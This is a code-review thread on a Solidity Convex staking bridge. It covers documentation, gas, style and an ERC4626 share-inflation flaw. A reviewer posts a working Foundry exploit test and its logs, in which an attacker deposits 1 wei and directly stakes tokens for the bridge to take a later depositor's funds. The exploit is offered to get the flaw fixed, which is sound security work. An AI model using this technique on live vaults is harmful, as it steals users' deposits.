Convex Staking Bridge

[VojtaKai]

Description

Please provide a paragraph or two giving a summary of the change, including relevant motivation and context.

Checklist:

• I have reviewed my diff in github, line by line.
• Every change is related to the PR description.
• There are no unexpected formatting changes, or superfluous debug logs.
• The branch has been rebased against the head of its merge target.
• I'm happy for the PR to be merged at the reviewers next convenience.
• NatSpec documentation of all the non-test functions is present and is complete.
• Continuous integration (CI) passes.
• Command forge coverage --match-contract MyContract returns 100% line coverage.
• All the possible reverts are tested.

[LHerskind]

Thanks for putting in effort on the docs 👍 Was very helpful for context.

Food for thought:

• Relies on the rollup already having access to Curve LP tokens, which it does not have currently, no curve lp bridge listed. This could impact how the overall design works and we should discuss it further.

Docs:

• In the docs some part of the diagrams are a bit confusing, can we add a spacer or line between the two diagrams?
• Spec says that it is not holding state, however as the bridge can hold tokens, I think we need to change it to be stateful. If it is not possible to take the output from the bridge to L1 and do something there, then the bridge must hold some kind of state that makes the token useful. In this case, the state it holds is all the assets deposited (because it controls them) and separately the accounting that it passes on to the user.
  In the case you where the bridge can be updated, the code can change to steal funds, so the bridge is technically not stateless.
• The note on slippage is odd: are swapped for ether and send to the Rollup Processor if the amount is high enough or if slippage is higher than 1 % where does this happen in the code. Don't see slippage mentioned in the code, there I mainly see that you accept any slippage.

Informational

• Why is the RCT upgradable and ownable? The base implementation deployed in constructor is not initialized. Why using the initializer flow when always passing the same arguments to the function?
• Inconsitent ordering of constants, immutables and storage. Use constants, then immutables, then storage.
• Inconsistent branching due to MIN_CRV_SWAP_AMT etc. Because it is not know at time of gas-payment, the user would need to always pay for the more expensive of the flow. With this in mind, I'm not sure if it really makes sense to handle these cases separately as the user could be paying as if they happened anyway.
• For receive its unclear what subsidy is referring to? The subsidy contract that we have setup doesn't transfer funds directly to the bridge but rather to the rollup provider. (We should clarify this in our docs it can be a bit confusing)
• Can you add some comments to _loadExchangePools. It's tricky to follow. Can we use named constants for the constants addresses etc. Why is 6 elements loaded into memory and many values put on the stack that would never change, and often be unused?
  • The revert case for PoolAlreadyLoaded() should be moved to the top of the call to fail as early as possible.
  • Also consider emitting an event when setting up.
  • We can save gas by using values that have been saved in memory rather than using storage for them.
• Try catch will fail on non-code addresses which makes it tricky for the try catch usecase (lol solidity things).
• Rather than using custom errors when swap a swap fails could we bubble up the curve error messages?
• Can we refactor uses of addresses to be constants to avoid magic numbers in the code?
• Can we add a test that shows the bridge working in the case the underlying pool is shutdown?
• _swapReardsToCurveLpToken can be weird to read with exchangedAmt being changed throughout the swaps, over time possibly be denominated in different assets throughout. hard to follow with the way the loops are written, where `
• supportedPools storage is newer updated or used in contract, consider removing it.
• For consistency in the repo can we change the order of the functions. The linter should have give some warnings with internal functions before public etc.

Bugs

• [!] Vulnerability, possible loss of funds. One to look out for when doing 4626 accounting. The same issue can be seen documented in solmate as 🔒 Prevent ERC4626 share price inflation  transmissions11/solmate#178. An attacker can exploit this "cheaply" for the stable coin pools. Often bridge interactions <10K, so cost would not be that high.

[VojtaKai]

@LHerskind @Cheethas Thank you, guys, for your feedback! Below I left you some of my answers.

Thanks for putting in effort on the docs 👍 Was very helpful for context.

Food for thought:

Relies on the rollup already having access to Curve LP tokens, which it does not have currently, no curve lp bridge listed. This could impact how the overall design works and we should discuss it further.

• Okay, let's discuss it

Docs:

• diagram has a line in the middle now for better clarity
• indeed, the bridge is stateful - spec was not updated, @benesjan knew about it by a personal message because I wanted to save myself the work of rewriting the spec with each peer review. Spec is now up to date.
• True, any slippage is allowed

Informational
Why is the RCT upgradable and ownable? The base implementation deployed in constructor is not initialized. Why using the initializer flow when always passing the same arguments to the function?

• RCT is ownable because I only want the bridge to be able to mint / burn any tokens. The initializer flow had to be used for this case because when ERC20 token inherits from Ownable and the correct owner is set, once the clone is created, for some reason, the owner is set to zero address instead of implementing the original owner (the bridge). I tried to implement the ownership in ERC20 token myself and with a workaround it works. However, the owner can only be set after the clone is deployed.

Inconsitent ordering of constants, immutables and storage. Use constants, then immutables, then storage.

• fixed

Inconsistent branching due to MIN_CRV_SWAP_AMT etc. Because it is not know at time of gas-payment, the user would need to always pay for the more expensive of the flow. With this in mind, I'm not sure if it really makes sense to handle these cases separately as the user could be paying as if they happened anyway.

• fixed, CRV and CVX rewards will be either exchange both or none.

For receive its unclear what subsidy is referring to? The subsidy contract that we have setup doesn't transfer funds directly to the bridge but rather to the rollup provider. (We should clarify this in our docs it can be a bit confusing)

• fixed

Can you add some comments to _loadExchangePools. It's tricky to follow. Can we use named constants for the constants addresses etc. Why is 6 elements loaded into memory and many values put on the stack that would never change, and often be unused?

• fixed

The revert case for PoolAlreadyLoaded() should be moved to the top of the call to fail as early as possible.

• fixed

Also consider emitting an event when setting up.

• fixed

We can save gas by using values that have been saved in memory rather than using storage for them.

• unsure what this related to

Try catch will fail on non-code addresses which makes it tricky for the try catch usecase (lol solidity things).

• in this case, the probability is almost non-existent that the address would point to a SC that has no code, since the dev selectes the pools for interaction and I had to go through all of them. However, good to know, I wasn't aware of this :)

Rather than using custom errors when swap a swap fails could we bubble up the curve error messages?

• fixed

Can we refactor uses of addresses to be constants to avoid magic numbers in the code?

• fixed

Can we add a test that shows the bridge working in the case the underlying pool is shutdown?

• added

_swapReardsToCurveLpToken can be weird to read with exchangedAmt being changed throughout the swaps, over time possibly be denominated in different assets throughout. hard to follow with the way the loops are written, where `

• I refactored it a little bit and hope it is more readable, however, the exchangeAmt is still denominated in different assets. Please check the new implementation and let me know. And maybe leave me here a suggestion how to approach it better:)

supportedPools storage is newer updated or used in contract, consider removing it.

• removed

For consistency in the repo can we change the order of the functions. The linter should have give some warnings with internal functions before public etc.

• the order is correct according to the linter. I have to say that it is a bit weird to me as well, as soon as a function is marked pure it has to fall behind external functions even though it is a public function. Linter passes.

Bugs

[!] Vulnerability, possible loss of funds. One to look out for when doing 4626 accounting. The same issue can be seen documented in solmate as 🔒 Prevent ERC4626 share price inflation transmissions11/solmate#178. An attacker can exploit this "cheaply" for the stable coin pools. Often bridge interactions <10K, so cost would not be that high.

• I do not think this vulnerability is relevant for the computation. The vulnerability talks about an insane price inflation per share. This cannot happen in the computation. No matter the initial value, the price per share is about constant all the time.
  I'll just recap what I understood from it. Asset (Curve LP token) is staked, shares are minted (RCT tokens). Price (of asset) per share is 1 : 1. Assuming the inital value was set very low and second deposit is very high, it creates the price per share to increase to 1e22 : 1 (in the example). However, this is not happening.
  If you still see the potential vulnerability, please, elaborate on it because I still don't see it.

[VojtaKai]

Two tests from another bridge are failing.
Branch is rebased on top of master HEAD.

[LHerskind]

Two tests from another bridge are failing.
Branch is rebased on top of master HEAD.

Should be fixed now. Pinned to a point that had liquidity.

[LHerskind]

Here is the exploit in test form. Running the snippet will give you:

[PASS] testExploit() (gas: 9716760)
Logs:
  bridge token balance  : 0.000000000000000000
  ##Deposit 1 wei
  bridge token balance  : 0.000000000000000001
  ##Airdrop 10e18
  bridge token balance  : 10.000000000000000001
  ##Other guy deposits 1e18
  bridge token balance  : 11.000000000000000001
  attacker token balance: 0.000000000000000001
  user token balance    : 0.000000000000000000
  ##Attacker exits with his 1 wei
  bridge token balance  : 0.000000000000000000
  curve lp tokens exited: 11.000000000000000001

As you can see, after the attacker has airdropped tokens into the contract a deposit that is smaller would simply divide and round down to 0. Instead the attacker can leave with those funds as well. A well funded attacker can quite easily steal most deposits. The issue comes from internal and external accounting being mixed while the mixed can be influenced externally without being the bridge itself.

function testExploit() public {
        uint256 _depositAmount = 1e18;
        uint256 poolId = supportedPids[0];
        address rewardPool = 0x192469CadE297D6B21F418cFA8c366b63FFC9f9b;
        address stakingToken = 0xAF1d4C576bF55f6aE493AEebAcC3a227675e5B98;

        address attacker = address(0xf00);

        _setupBridge(poolId);
        _mockInitialRewardBalances(false);

        _loadPool(poolId);
        _setupRepresentingConvexTokenClone();
        _setupSubsidy();

        emit log_named_decimal_uint("bridge token balance  ", IERC20(rewardPool).balanceOf(address(bridge)), 18);

        // Deposit 1 wei
        emit log("##Deposit 1 wei");
        _deposit(1);
        emit log_named_decimal_uint("bridge token balance  ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
        // Transferring here to easier show the exploit.
        IERC20(rctClone).transfer(attacker, IERC20(rctClone).balanceOf(address(this)));

        // Attack
        vm.startPrank(attacker);
        emit log("##Airdrop 10e18");
        uint256 attackAmount = 10e18;
        deal(curveLpToken, attacker, attackAmount);
        IERC20(curveLpToken).approve(BOOSTER, attackAmount);
        IConvexBooster(BOOSTER).deposit(poolId, attackAmount, false);
        uint256 balance = IERC20(stakingToken).balanceOf(attacker);
        IERC20(stakingToken).approve(rewardPool, type(uint256).max);
        rewardPool.call(abi.encodeWithSignature("stakeFor(address,uint256)", address(bridge), balance));
        emit log_named_decimal_uint("bridge token balance  ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
        vm.stopPrank();

        emit log("##Other guy deposits 1e18");
        _deposit(_depositAmount);
        emit log_named_decimal_uint("bridge token balance  ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
        emit log_named_decimal_uint("attacker token balance", IERC20(rctClone).balanceOf(attacker), 18);
        emit log_named_decimal_uint("user token balance    ", IERC20(rctClone).balanceOf(address(this)), 18);

        emit log("##Attacker exits with his 1 wei");
        vm.prank(attacker);
        IERC20(rctClone).transfer(address(this), 1);

        _withdraw(1);
        emit log_named_decimal_uint("bridge token balance  ", IERC20(rewardPool).balanceOf(address(bridge)), 18);
        emit log_named_decimal_uint("curve lp tokens exited", IERC20(curveLpToken).balanceOf(address(this)), 18);
    }

[VojtaKai]

Hi @LHerskind and thank you for the demo. I finally understand where the inflation is coming from! I'll look into it closer in the coming days
Update: I think I see the solution. I'll implement it tomorrow.
Update: First deposit minimum limit introduced. I'm looking into the YieldBox implementation (https://github.com/boringcrypto/YieldBox/blob/107eb8cb9d0bc686181b842d8c74659913603937/contracts/YieldBoxRebase.sol) but I don't see the benefit yet.

[VojtaKai]

Vulnerability fixed ✓

• introduction of initial deposit and inflation mechanism (RCT : curve lp token ratio)
• init deposit and potential reopening of vulnerability due to inflation reset -> both tested
• limits set reasonably high but not extremely high to negatively affect user's experience

[LHerskind]

Hi @VojtaKai, I looked at the changes, and think that your solution limits the issue. However, the rounding cases are not reached by your code, so they should be removed.
Did you think about requiring a "sacrifice" of the lp tokens when adding it to the bridge? 😄 It feels a bit clunky to add "magic numbers" in the code. Example of sacrificing 1e16.

// initial: bridgeTokenBalance: 1e16, RCTSupply: 1e16. 
// Deposit 1 wei, 
shares = (1 * RCTSupply) / bridgeTokenBalance; ~ 1
// bridgeTokenBalance = 1e16 + 1, RCTSupply = 1e16 + 1
// Airdrop 1e24 tokens ~ 1 million tokens
// bridgeTokenBalance = 1e24 + 1e16 + 1, RCTSupply = 1e16 + 1
// Next victim deposit of 1e18
shares = (1e18 * 1e16) / (1e24 + 1e16 + 1); ~ 9999999900
// bridgeTokenBalance = 1e24 + 1e18 + 1e16 + 1, RCTSupply = 1e16 + 9999999901

// Withdrawing 9999999900 should give 
amount = (9999999900 * 1e24 + 1e18 + 1e16 + 1) / (1e16 + 9999999901)
amount ~ 0.99999899e18

Doing a deposit of 1e24 requires a substantial amount of funds, and with the gain being so tiny, probably not worth it. 

The liquity bridge is doing something similar (opening the initial trove requires debt of a certain size).

Some nits. The most important being related to gas usage. Can you make a provide separate deposit and withdraw limits instead of putting it under the same "convert"? When perfoming a bridge interaction, the caller is specifying the bridge address id (and thereby the gas amount to use) if this bridge is set with 2M, a sequencer will require users to pay 2M because that is the amount of gas "it might spend" on the execution. Therefore it is better two have two flows if one of the branches always cost <1M as an example.

• [i] In the figures, there are still "jumps" that are not clear, e.g., "convex" staking at 7 stakes in curve lp tokens, then convex lp token without interacting mints lp tokens to the convex convex booster, and later bridge returns RCT, but nothing directly initiated the RCT transfer.
• [i] Formatting wise, in Deposit (Staking) a list would probably make sense when you are going through it step by step to make it clearer. Really this sounds like something a sequencer diagram would do well for? You can check out https://sequencediagram.org/ or https://play.d2lang.com/.
• [i] The RCT is a share of the assets held by the bridge.
• [?] For Withdrawal (Unstaking) What do you mean with input and output, is this that the RCT and output curve LP?
• [i] You should point out that the $160 values is at a specific time.
• [?] What is SC that you mention in Introduction of inflation protection mechanism?
• [i] Remove significantly from Most affected users by a potential attack are those staking significantly (and almost suspiciously) low deposits. it does not really fit in and makes it sound like it is large value.
• [?] I'm not fully following, the inflation ratio is impacted by initial deposits. Why only initial, should more be on value? Do you mean that it is easy to impact as long as there are not a lot of funds in the contract? You are essentially increasing the funds required to attack by 1e10?
• [i] You are passing totalSupplyRCT into _toShares() just after checking that it is 0, jut insert zero to make it clear that the value is 0.
• [?] Why is there a roundup on any of the functions when they will never be used?
• [i] Please following the naming standards for arguments and prepend _

[VojtaKai]

Hi @LHerskind, I'll leave my answers and questions again underneath your comments

Hi @VojtaKai, I looked at the changes, and think that your solution limits the issue. However, the rounding cases are not reached by your code, so they should be removed.

• As I am thinking of it now, I should use the round up on any deposit. It will prevent all the inflation attacks! Also, the drawback is tiny - someone could receive a tiny bit more RCT. But their price in general is so inflated that it is really negligable. For this reason, I will not remove it.

Did you think about requiring a "sacrifice" of the lp tokens when adding it to the bridge? 😄 It feels a bit clunky to add "magic numbers" in the code. Example of sacrificing 1e16.

• No, I didn't think of sacrificing any LP tokens :D
• By the magic number you mean the 1e16 initial deposit? It is not an entirely random number. I looked how much some Curve LP tokens approximately cost and set it so that every normal user can make a deposit. At the same time, 1e16 was limit high enough to deter any potential attackers (as described in README)

// initial: bridgeTokenBalance: 1e16, RCTSupply: 1e16.
// Deposit 1 wei,
shares = (1 * RCTSupply) / bridgeTokenBalance; ~ 1
// bridgeTokenBalance = 1e16 + 1, RCTSupply = 1e16 + 1
// Airdrop 1e24 tokens ~ 1 million tokens
// bridgeTokenBalance = 1e24 + 1e16 + 1, RCTSupply = 1e16 + 1
// Next victim deposit of 1e18
shares = (1e18 * 1e16) / (1e24 + 1e16 + 1); ~ 9999999900
// bridgeTokenBalance = 1e24 + 1e18 + 1e16 + 1, RCTSupply = 1e16 + 9999999901

// Withdrawing 9999999900 should give
amount = (9999999900 * 1e24 + 1e18 + 1e16 + 1) / (1e16 + 9999999901)
amount ~ 0.99999899e18

• The potential vulnerability reopens when the first user that deposited 1e16 immediately performs a withdrawal of almost all the deposited amount -> RCT supply plummets close to 1 - you can see this in tests testAttackResistanceRatioResetProtection and testFailAttackResistanceRatioResetProtection -> I also think that it would -> this will get solved with the roundup for any deposit!

Doing a deposit of 1e24 requires a substantial amount of funds, and with the gain being so tiny, probably not worth it.

• I do agree that it is a lot but I don't know how serious we are about (unreasonable) safety.

The liquity bridge is doing something similar (opening the initial trove requires debt of a certain size).

• Are you talking about the Trove bridge - opening of the tranche?

Some nits. The most important being related to gas usage. Can you make a provide separate deposit and withdraw limits instead of putting it under the same "convert"? When perfoming a bridge interaction, the caller is specifying the bridge address id (and thereby the gas amount to use) if this bridge is set with 2M, a sequencer will require users to pay 2M because that is the amount of gas "it might spend" on the execution. Therefore it is better two have two flows if one of the branches always cost <1M as an example.

• Do you mean that in deploy I would just list the same bridge twice? With different gas limits for each action - one for deposits only, the other for withdrawals only?

[i] In the figures, there are still "jumps" that are not clear, e.g., "convex" staking at 7 stakes in curve lp tokens, then convex lp token without interacting mints lp tokens to the convex convex booster, and later bridge returns RCT, but nothing directly initiated the RCT transfer.

• This diagram is NOT supposed to show which smart contract (SC) interacts with which - the diagram only shows what SCs there are and how assets (tokens / ETH) are moved around (how the assets ownership changes).
• Purpose of this diagram was to briefly show which smart contracts and assets there are. To dive deeper and see which contract interacts with, I'd just assume the person will read the code.

[i] Formatting wise, in Deposit (Staking) a list would probably make sense when you are going through it step by step to make it clearer. Really this sounds like something a sequencer diagram would do well for? You can check out https://sequencediagram.org/ or https://play.d2lang.com/.

• Alright, I'll take a look at this

[i] The RCT is a share of the assets held by the bridge.

• nicely explain! I could definitely use that

[?] For Withdrawal (Unstaking) What do you mean with input and output, is this that the RCT and output curve LP?

• I don't know where you see that but most likely yes. Fow withdrawal you need a single input asset (RCT) and a single output asset (Curve LP token)

[i] You should point out that the $160 values is at a specific time.

• Yes, I'll note it in the natspec and readme :)

[?] What is SC that you mention in Introduction of inflation protection mechanism?

• SC stands for smart contract

[i] Remove significantly from Most affected users by a potential attack are those staking significantly (and almost suspiciously) low deposits. it does not really fit in and makes it sound like it is large value.

• By significantly low deposit I meant to express incredibly low value. With the rounding up of all deposits, this text will get removed completely.

[?] I'm not fully following, the inflation ratio is impacted by initial deposits. Why only initial, should more be on value? Do you mean that it is easy to impact as long as there are not a lot of funds in the contract? You are essentially increasing the funds required to attack by 1e10?

• The initial thought was that once the 1e16 initial deposit is provided, inflation attack will most likely not be successful. With this I could on several assumptions - 1) user who just deposited, will not withdraw immediately or in the near future, 2) most likely another user would deposit soon after him -> making the possibility of inflation attack even lower.
• Yes, I believe the contract is more prone to an inflation attack if RCTsupply is low.
• 'You are essentially increasing the funds required to attack by 1e10?' That is true, even though the attack would be successful, attacker would only be able to collect funds as long as no deposit greater than (attackAmount / 1e10) was made -> unlikely and very risky for the attacker

[i] You are passing totalSupplyRCT into _toShares() just after checking that it is 0, jut insert zero to make it clear that the value is 0.

• Right:)

[?] Why is there a roundup on any of the functions when they will never be used?

• It was, indeed, redundant. It will be used now. I'll remove it from the places where it is not needed.

[i] Please following the naming standards for arguments and prepend _

• Where exactly? Linter doesn't complain about anything. I am using underscores for all private (internal) function and their parameter. Where else should that be?

[LHerskind]

Just saw this from Open Zeppelin OpenZeppelin/openzeppelin-contracts#3979, solutions looks pretty similar to the one you ended with and linked from yield. With the direct use of muldiv it looks a bit cleaner.

As I am thinking of it now, I should use the round up on any deposit. It will prevent all the inflation attacks! Also, the drawback is tiny - someone could receive a tiny bit more RCT. But their price in general is so inflated that it is really negligable. For this reason, I will not remove it.

You should not be rounding up for deposits. When rounding up the number of shares giving back, you might give out value you don't have, later on you can end up in a rounding error when trying to withdraw. Take a look at how it is done in the ERC4626 spec.

By the magic number you mean the 1e16 initial deposit?

Also meant the 1e10

The potential vulnerability reopens when the first user that deposited 1e16 immediately performs a withdrawal of almost all the deposited amount -> RCT supply plummets close to 1 - you can see this in tests

The example I wrote where if it was sacrificed, e.g., cannot be withdrawn.

Do you mean that in deploy I would just list the same bridge twice? With different gas limits for each action - one for deposits only, the other for withdrawals only?

Exactly. This is done for yearn, where deposits are consistently cheap, but a withdraw can be expensive if it needs to unwind the position.

By significantly low deposit I meant to express incredibly low value. With the rounding up of all deposits, this text will get removed completely.

I have normally only seen significantly about "large" or "large enough" values, so just seemed out of place.

Where exactly? Linter doesn't complain about anything. I am using underscores for all private (internal) function and their parameter. Where else should that be?

Was inside your new toShares and toAmount.

[VojtaKai]

Just saw this from Open Zeppelin OpenZeppelin/openzeppelin-contracts#3979, solutions looks pretty similar to the one you ended with and linked from yield. With the direct use of muldiv it looks a bit cleaner.

• The code does look similar but it really looks cleaner with the muldiv. I implemented it.

As I am thinking of it now, I should use the round up on any deposit. It will prevent all the inflation attacks! Also, the drawback is tiny - someone could receive a tiny bit more RCT. But their price in general is so inflated that it is really negligable. For this reason, I will not remove it.

You should not be rounding up for deposits. When rounding up the number of shares giving back, you might give out value you don't have, later on you can end up in a rounding error when trying to withdraw. Take a look at how it is done in the ERC4626 spec.

• I was thinking of it, too. It would only affect the last withdrawing user though (:D)

By the magic number you mean the 1e16 initial deposit?

Also meant the 1e10

• It's now what I really understand what you mean by "random", "magic" numbers :D That they are not assigned to a named variable -> fixed

The potential vulnerability reopens when the first user that deposited 1e16 immediately performs a withdrawal of almost all the deposited amount -> RCT supply plummets close to 1 - you can see this in tests

The example I wrote where if it was sacrificed, e.g., cannot be withdrawn.

// initial: bridgeTokenBalance: 1e16, RCTSupply: 1e16.
// Deposit 1 wei,
shares = (1 * RCTSupply) / bridgeTokenBalance; ~ 1
// bridgeTokenBalance = 1e16 + 1, RCTSupply = 1e16 + 1
// Airdrop 1e24 tokens ~ 1 million tokens
// bridgeTokenBalance = 1e24 + 1e16 + 1, RCTSupply = 1e16 + 1
// Next victim deposit of 1e18
shares = (1e18 * 1e16) / (1e24 + 1e16 + 1); ~ 9999999900
// bridgeTokenBalance = 1e24 + 1e18 + 1e16 + 1, RCTSupply = 1e16 + 9999999901

// Withdrawing 9999999900 should give
amount = (9999999900 * 1e24 + 1e18 + 1e16 + 1) / (1e16 + 9999999901)
amount ~ 0.99999899e18

• I do not really undestand what you wanted to show here. Could you give me a little push towards the right direction? Also the RCTSupply would be 1e26 if user init deposit was 1e16 Curve LP tokens but that is just a tiny detail.
  EDIT: I do understand the whole time that if we "sacrifice" the initial deposit, the attack will never be successful. I was thinking of it as well. I just didn't know it was a thing. I am still not sure how to proceed. We will need to take it from someone. But as I mention below it would make sense if it is us who sacrifices the tokens, not the user. I'll read up on it and see what I come up with.
  EDIT 2: With the offset the inflation attack is also unlikely so I leave it at this implementation. But I somehow like the "sacrifice" method more.

• Who would make the first deposit? Us? Otherwise how can we be sure they will not withdraw it rback right away (unlikely but still should be handled by the code)

• I could literally just place there a condition that you cannot withdraw if the bridgeTokenBalance would be less than 1e16 Curve LP tokens after the withdrawal. Or something like that 🤔

Do you mean that in deploy I would just list the same bridge twice? With different gas limits for each action - one for deposits only, the other for withdrawals only?

Exactly. This is done for yearn, where deposits are consistently cheap, but a withdraw can be expensive if it needs to unwind the position.

• Done. However, the difference is not huge. I checked the gasLimit of the convert function for different pools. Max gas for deposit was 3.3M and max gas for withdrawal was 2.7M. I did the calculation manually in the convert function using gasleft(). I set the bridge gas limits higher -> 4M and 3,3M.
  EDIT: I ran also gas reports for the same tests and gas report shows values way lower, most expensive deposit is 1.95M which is a significant difference (It was 3.3M with the gasleft() difference). Do you have an idea where this might be coming from?
  EDIT2: Most expensive withdrawal is by gas report about 2M. So again a significant difference (from 2.7M to 2M)..
  It is so similar now that it doesn't really make much sense to list the bridge twice honestly.
  EDIT3: If I run the tests in bulks I always get smaller max gas than I do if I run one individual pool (the one I know costs the most). Individually for the most expensive one I am getting to (max) numbers 2M for deposit and 2.4M for withdrawal.

Where exactly? Linter doesn't complain about anything. I am using underscores for all private (internal) function and their parameter. Where else should that be?

Was inside your new toShares and toAmount.

• fixed

[VojtaKai]

Hi @LHerskind, @Cheethas
how are we going to approach this issue?

Food for thought:
Relies on the rollup already having access to Curve LP tokens, which it does not have currently, no curve lp bridge listed. This could impact how the overall design works and we should discuss it further.

Does that mean that Curve LP token is not going to be on the input / output? Which token will be then?